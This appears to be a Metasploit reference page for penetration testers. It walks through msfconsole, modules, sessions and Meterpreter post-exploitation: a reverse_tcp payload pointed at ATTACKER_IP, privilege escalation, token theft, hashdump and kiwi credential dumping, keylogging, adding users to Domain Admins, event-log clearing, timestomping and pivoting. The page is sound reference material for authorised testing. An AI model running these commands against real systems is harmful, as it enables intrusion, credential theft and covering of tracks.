> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # Metasploit Framework Metasploit is the standard framework for finding, configuring, and launching exploits without writing one from scratch every time. It's built around a few core pieces: a database to track what you've found, modules (exploits, auxiliary scanners, payloads) that do the actual work, and Meterpreter, the payload that gives you a full post-exploitation toolkit once a module lands. > **msfconsole** > > The framework itself. Search for modules, configure options, launch exploits, and manage every session from one interface. > **Meterpreter** > > What you get after a successful exploit. An in-memory agent for file operations, privilege escalation, and further post-exploitation, without dropping extra tools to disk. > [!TIP] > > Almost every module follows the same pattern: `search`, `use`, `show options`, `set` the required values, then `run` or `exploit`. Learn that loop once and most of msfconsole falls into place. *** ## Getting Started The database needs to be initialized once before first use, Metasploit falls back to working without it, but you lose the host/service tracking that makes the database worth using in the first place. ```bash theme={null} sudo msfdb init # one-time setup, creates the database Metasploit uses msfconsole # launch the console ``` A few launch flags are worth knowing before you're inside the console: ```bash theme={null} msfconsole -q # skip the startup banner, faster to launch msfconsole -x "COMMAND; COMMAND" # run one or more commands immediately on startup msfconsole -r SCRIPT.rc # run a resource script (a saved list of console commands) on startup ``` > [!TIP] > > `-x` is handy for scripting a quick exploit launch from bash without sitting in the interactive console at all, e.g. `msfconsole -q -x "use exploit/...; set RHOSTS TARGET; run; exit -y"`. *** ## Workspace and Database Metasploit's database tracks hosts, services, and vulnerabilities across a whole engagement, which saves you from re-scanning or re-typing targets every session. Setting up a workspace per engagement keeps results from bleeding into each other. ```bash theme={null} workspace # list available workspaces workspace -a ENGAGEMENT_NAME # create and switch to a new one ``` Importing existing scan data is usually faster than scanning from inside msfconsole: ```bash theme={null} db_import /path/to/nmap_scan.xml # import nmap, Nessus, OpenVAS and other common scan formats ``` Or run nmap directly and have the results land in the database automatically: ```bash theme={null} db_nmap -sV -sC TARGET ``` Once you've got data in, these pull it back out: ```bash theme={null} hosts # list discovered hosts services # list discovered services per host vulns # list discovered vulnerabilities ``` > **Manual database setup** > > If a database isn't already connected, create and connect to one manually: > > ```bash theme={null} > db_create ENGAGEMENT_NAME > db_connect ENGAGEMENT_NAME > db_destroy ENGAGEMENT_NAME > ``` *** ## Finding and Configuring Modules Everything in Metasploit, exploits, auxiliary scanners, and payloads, is a module you search for, load, and configure the same way. ```bash theme={null} search TERM # search across all module types show exploits # list every exploit module show auxiliary # list every auxiliary module show payloads # list every payload use MODULE_PATH # load a module by name use NUMBER # or by its index from the last search result ``` Once a module is loaded, check what it needs before running it: ```bash theme={null} show options # required and optional settings for this module show targets # supported platforms/targets, when relevant info # full description of the loaded module ``` Set the values the module is asking for, then confirm it's worth running: ```bash theme={null} set RHOSTS TARGET set LHOST ATTACKER_IP set payload windows/x64/meterpreter/reverse_tcp check # ask the module if the target looks vulnerable, before firing anything ``` > [!TIP] > > `setg` sets a value globally across every module instead of just the current one, handy when you're pivoting through several exploits against the same `RHOSTS` or `LHOST`. *** ## Running Exploits ```bash theme={null} exploit # run the loaded exploit module run # same as exploit, generally used for auxiliary modules ``` A few flags change how the exploit behaves once launched: ```bash theme={null} exploit -j # run as a background job instead of taking over the console exploit -z # don't interact with the session immediately after success exploit -e shikata_ga_nai # encode the payload with a specific encoder ``` > [!TIP] > > `set autorunscript migrate -f` automatically migrates the resulting session to a separate process as soon as the exploit lands, useful when the exploited process is likely to crash or get killed shortly after. *** ## Session Management Once a module succeeds, the session it opens needs to be managed, especially once you've got more than one shell running at a time. ```bash theme={null} sessions # list active sessions sessions -l -v # list with verbose detail, including which vuln was used background # send the current session to the background sessions -i ID # interact with a specific session by ID ``` Upgrading a plain shell to a full Meterpreter session unlocks everything covered below: ```bash theme={null} sessions -u SESSION_ID ``` > **Acting across multiple sessions at once** > > ```bash theme={null} > sessions -c "COMMAND" # run one command across every live Meterpreter session > sessions -s SCRIPT_NAME # run a Meterpreter script across every live session > sessions -K # kill every live session > ``` *** ## Meterpreter: File and System Once you've got a Meterpreter session, these cover the basics: finding out where you landed and moving files in or out. ```bash theme={null} sysinfo # OS, hostname, and architecture of the target ls # list files in the current directory ps # list running processes upload FILE # upload a file to the target download FILE # download a file from the target ``` ```bash theme={null} shell # drop into a native shell with the session's current tokens background # send the session to the background without closing it ``` *** ## Meterpreter: Privilege Escalation and Tokens Token impersonation and process migration are usually how you go from an initial low-privilege session to something with real reach on the host. ```bash theme={null} getsystem # attempt automatic SYSTEM-level privilege escalation getprivs # list every privilege the current token actually has migrate PID # move the session into a different process, e.g. a more stable or higher-privileged one ``` Token theft needs the `incognito` extension loaded first: ```bash theme={null} use incognito list_tokens -u # list available tokens by user impersonate_token DOMAIN\\USERNAME # impersonate a specific token steal_token PID # steal and impersonate the token of a given process rev2self # revert back to the original token ``` > **Executing a process with stolen tokens** > > ```bash theme={null} > execute -f cmd.exe -i -t # run cmd.exe interactively using all available tokens > execute -f cmd.exe -i -H -t # same, but hidden rather than visible on the target's desktop > ``` *** ## Meterpreter: Credentials and Surveillance ```bash theme={null} hashdump # dump all local hashes on the target keyscan_start # start capturing keystrokes keyscan_dump # dump captured keystrokes so far keyscan_stop # stop capturing screenshot # grab a screenshot of the current desktop ``` `hashdump` only pulls local SAM hashes. For anything beyond that, the `kiwi` extension (Mimikatz built into Meterpreter) gets plaintext credentials and tickets straight out of memory: ```bash theme={null} load kiwi # load the extension creds_all # dump every credential type kiwi supports in one pass lsa_dump_sam # dump the SAM database via LSA lsa_dump_secrets # dump LSA secrets, including cached domain credentials ``` > [!TIP] > > `kerberos_ticket_list` and `kerberos_ticket_use TICKET` let you list and then pass Kerberos tickets found in memory, useful once you're past local hashes and into lateral movement. > **Network sniffing from Meterpreter** > > ```bash theme={null} > use sniffer > sniffer_interfaces # list interfaces available on the target > sniffer_start IFACE_ID PACKET_BUFFER # start capturing on a specific interface > sniffer_dump IFACE_ID output.pcap # save captured traffic to a pcap > sniffer_stop IFACE_ID # stop the capture > ``` *** ## Meterpreter: Persistence and Cleanup > [!WARNING] > > Adding users, modifying the registry, and clearing event logs are all high-impact actions. Make sure they're explicitly in scope before running any of these on a real engagement. ```bash theme={null} add_user USERNAME PASSWORD -h IP # add a local user on the target add_group_user "Domain Admins" USERNAME -h IP # add a user to a domain group reg COMMAND # query, set, create, or delete registry keys clearev # clear the event log timestomp # alter file timestamps as an anti-forensics measure ``` *** ## Pivoting and Web Scanning ```bash theme={null} run autoroute -s 192.168.56.0/24 # route traffic through the current session to reach an internal subnet portfwd add -l 1234 -p 80 -r 10.4.23.25 # forward a remote port through the session to a local port ``` > **WMAP web application scanner** > > WMAP runs a basic web vulnerability scan from inside msfconsole, convenient when you're already in the console but not a replacement for a dedicated scanner. > > ```bash theme={null} > load wmap > wmap_sites -a TARGET_IP > wmap_targets -t http://TARGET > wmap_run -e > wmap_vulns -l > ``` > > [WMAP documentation](https://www.offsec.com/metasploit-unleashed/wmap-web-scanner/) *** ## Quick Reference Tools > **[metasploit-autopwn](https://github.com/hahwul/metasploit-autopwn)** > > Plugin that automatically matches detected open ports against known vulnerable modules. > **[PayloadsAllTheThings: Metasploit](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md)** > > Broader community-maintained reference for msfconsole usage. > [!WARNING] > > `getsystem`, `hashdump`, and any persistence commands are heavy-handed actions. Confirm they're within scope before running them against a real target. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.